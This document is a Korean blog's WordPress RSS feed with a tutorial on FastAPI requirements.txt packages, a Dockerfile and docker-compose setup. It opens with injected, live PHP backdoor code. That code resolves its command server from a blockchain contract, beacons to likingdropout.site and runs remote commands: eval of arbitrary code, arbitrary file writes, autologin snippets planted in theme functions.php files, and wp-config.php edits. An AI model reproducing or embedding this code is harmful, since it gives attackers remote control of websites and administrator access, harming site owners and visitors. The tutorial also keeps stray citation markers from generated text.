// rp_by if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/var/www/html/wp-content/plugins/wp-helper-fc3daa/wp-helper-fc3daa.php', 'ctrl'=>'// rp_by', 'vis'=>'// sd_xq', 'vis_func'=>'wp_6sz9ig', 'vis_paths'=>array('/var/www/html/wp-content/plugins/wp-helper-fc3daa/wp-helper-fc3daa.php'), 'opt'=>'_wp_f3zjafz0', ); $keys=array(); $keys['id']='00z'; $keys['ver']='jg'; $keys['caps']='zxc'; $keys['tasks']='o76'; $keys['interval']='fgq'; $keys['ack_id']='sdm'; $keys['ok']='6a'; $keys['detail']='qod'; $keys['inv']='ajy'; $keys['result']='hfw'; $hdr='X-717-Auth';$tok='EpvzGquzxvNoG2Wg8jK1xPOxxzhkuPzZ8qsWhba2_5o';$id='b2876c0e043df3cf';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); coding – ai4wm.com https://ai4wm.com Sun, 20 Oct 2024 16:33:14 +0000 en-US hourly 1 https://wordpress.org/?v=7.1.4 fastapi 도커 인증 및 보안 패키지 requirements.txt 파이썬 웹프레임 https://ai4wm.com/fastapi-%eb%8f%84%ec%bb%a4-%ec%9d%b8%ec%a6%9d-%eb%b0%8f-%eb%b3%b4%ec%95%88-%ed%8c%a8%ed%82%a4%ec%a7%80-requirements-txt-%ed%8c%8c%ec%9d%b4%ec%8d%ac-%ec%9b%b9%ed%94%84%eb%a0%88%ec%9e%84/ https://ai4wm.com/fastapi-%eb%8f%84%ec%bb%a4-%ec%9d%b8%ec%a6%9d-%eb%b0%8f-%eb%b3%b4%ec%95%88-%ed%8c%a8%ed%82%a4%ec%a7%80-requirements-txt-%ed%8c%8c%ec%9d%b4%ec%8d%ac-%ec%9b%b9%ed%94%84%eb%a0%88%ec%9e%84/#respond Sun, 20 Oct 2024 16:30:43 +0000 https://ai4wm.com/?p=245 FastAPI와 MariaDB와의 통신을 위한 패키지들과 Android와의 통신을 위한 의존성 목록입니다. 이 목록은 requirements.txt에 포함할 수 있는 패키지들로, FastAPI와 SQLAlchemy, 그리고 MariaDB와 연동하고 JSON 형태로 데이터를 주고받는 구조에 필요한 것들을 나열합니다.

최종 requirements.txt에 추가할 유용한 패키지들

# 기존 필수 패키지들 (FastAPI, SQLAlchemy, 인증 등)
fastapi==0.100.0
uvicorn[standard]==0.22.0
SQLAlchemy==2.0.21
asyncmy==0.2.7
alembic==1.11.1
pydantic==2.4.0
fastapi-cors==0.3.1
python-multipart==0.0.6
requests==2.31.0
python-dotenv==1.0.0
httpx==0.24.1
pytest==7.4.0
python-jose[cryptography]==3.3.0
passlib[bcrypt]==1.7.4
authlib==1.2.0
pyjwt==2.8.0
cryptography==41.0.1

# 성능 최적화를 위한 추가 패키지
gunicorn==21.2.0  # FastAPI의 프로덕션 서버용 WSGI 서버
aiomysql==0.1.1  # MySQL/MariaDB를 위한 추가 비동기 드라이버
redis==5.0.10  # 캐시와 세션 관리

# 데이터 분석 및 로깅
loguru==0.6.0  # 로깅 편리성 개선
prometheus-client==0.16.0  # 모니터링을 위한 메트릭 수집

# WebSocket 및 실시간 데이터 지원
fastapi-socketio==0.1.3  # 실시간 데이터 송수신을 위한 WebSocket 지원

# API 문서화 및 개발 편의성 도구
openapi-schema-pydantic==2.2.2  # OpenAPI 스키마를 위한 도구
sentry-sdk==1.29.2  # 오류 추적 및 모니터링 도구

추가한 패키지의 설명 및 이유:

  1. Gunicorn:
  • 프로덕션 환경에서는 Uvicorn 단독 사용보다 Gunicorn을 통해 FastAPI를 더 효율적으로 실행합니다. 이를 통해 여러 워커 프로세스로 요청을 분산 처리합니다【11†source】.
  1. Redis:
  • Redis를 사용하면 세션 관리와 캐시를 최적화할 수 있어 빠른 응답과 실시간 데이터 동기화가 가능합니다【12†source】.
  1. Loguru:
  • Loguru를 활용해 직관적인 로깅을 구현하면 서버에서 발생하는 오류나 이벤트를 더 쉽게 추적할 수 있습니다【13†source】.
  1. FastAPI-SocketIO:
  • Jetpack Compose 기반 앱에서 실시간 데이터가 필요하다면 WebSocket을 통해 구현할 수 있습니다. 이를 위해 fastapi-socketio를 추가했습니다【10†source】【12†source】.
  1. Prometheus-Client:
  • 서버 성능 모니터링을 위해 Prometheus와 통합하여 메트릭을 수집하고 시각화할 수 있습니다【14†source】.
  1. Sentry SDK:
  • Sentry를 통해 오류를 추적하고, 빠르게 해결할 수 있습니다. 이는 프로덕션 환경에서 특히 유용합니다.

이와 같은 구성을 사용하면 FastAPI 서버는 성능 최적화, 보안 강화, 실시간 통신 지원까지 모두 충족할 수 있습니다. Jetpack Compose 앱과 FastAPI 서버 간의 통신은 주로 JWT 인증을 활용한 RESTful API와 필요 시 WebSocket을 통해 처리하는 것이 이상적입니다.

추가적으로, 이 패키지들은 모두 Docker 이미지로 쉽게 관리할 수 있습니다. docker-compose.yml 파일에 Redis와 함께 Gunicorn 서버를 정의하면 앱의 확장성과 성능을 극대화할 수 있습니다.

제공된 requirements.txt 파일만으로도 필요한 모든 패키지를 설치할 수 있지만, 도커 이미지 빌드를 위해 몇 가지 추가 파일이 필요합니다. 아래는 완전한 도커 환경 구성을 위한 필수 파일 목록과 예시입니다.


1. Dockerfile

이 파일은 도커 이미지 생성 시 필요한 지침을 제공합니다.

# Python Slim 이미지 사용으로 경량화
FROM python:3.9-slim

# 작업 디렉토리 설정
WORKDIR /app

# 의존성 파일 복사 및 설치
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt

# 애플리케이션 코드 복사
COPY . .

# Uvicorn을 사용해 FastAPI 서버 실행
CMD ["uvicorn", "main:app", "--host", "0.0.0.0", "--port", "8000"]

2. .dockerignore

불필요한 파일이 도커 이미지에 포함되지 않도록 방지합니다.

__pycache__/
*.pyc
*.pyo
env/

3. docker-compose.yml (선택사항)

여러 서비스(MariaDB, Redis 등)와 함께 사용할 경우 Docker Compose 파일을 작성합니다.

version: '3.8'
services:
  app:
    build: .
    ports:
      - "8000:8000"
    volumes:
      - .:/app
    depends_on:
      - db

  db:
    image: mariadb:latest
    environment:
      MYSQL_ROOT_PASSWORD: password
      MYSQL_DATABASE: mydb
    ports:
      - "3306:3306"

4. FastAPI 애플리케이션 코드 (main.py)

이 파일은 간단한 FastAPI 서버를 정의합니다.

from fastapi import FastAPI

app = FastAPI()

@app.get("/")
def read_root():
    return {"Hello": "World"}

빌드 및 실행 명령어

  1. 도커 이미지 빌드:
   docker build -t my-fastapi-app .
  1. 도커 컨테이너 실행:
   docker run -d --name fastapi-app -p 8000:8000 my-fastapi-app
  1. Docker Compose로 실행 (선택):
   docker-compose up --build

결론

위의 Dockerfile과 필요한 파일들만 추가하면 requirements.txt와 함께 완전한 도커 환경에서 FastAPI 서버를 빌드하고 실행할 수 있습니다. 제공된 설정은 간단한 API 서버를 실행하는 데 충분하며, Docker Compose를 사용하면 데이터베이스와 연동된 서비스도 쉽게 구성할 수 있습니다【12†source】【14†source】【45†source】.

]]>
https://ai4wm.com/fastapi-%eb%8f%84%ec%bb%a4-%ec%9d%b8%ec%a6%9d-%eb%b0%8f-%eb%b3%b4%ec%95%88-%ed%8c%a8%ed%82%a4%ec%a7%80-requirements-txt-%ed%8c%8c%ec%9d%b4%ec%8d%ac-%ec%9b%b9%ed%94%84%eb%a0%88%ec%9e%84/feed/ 0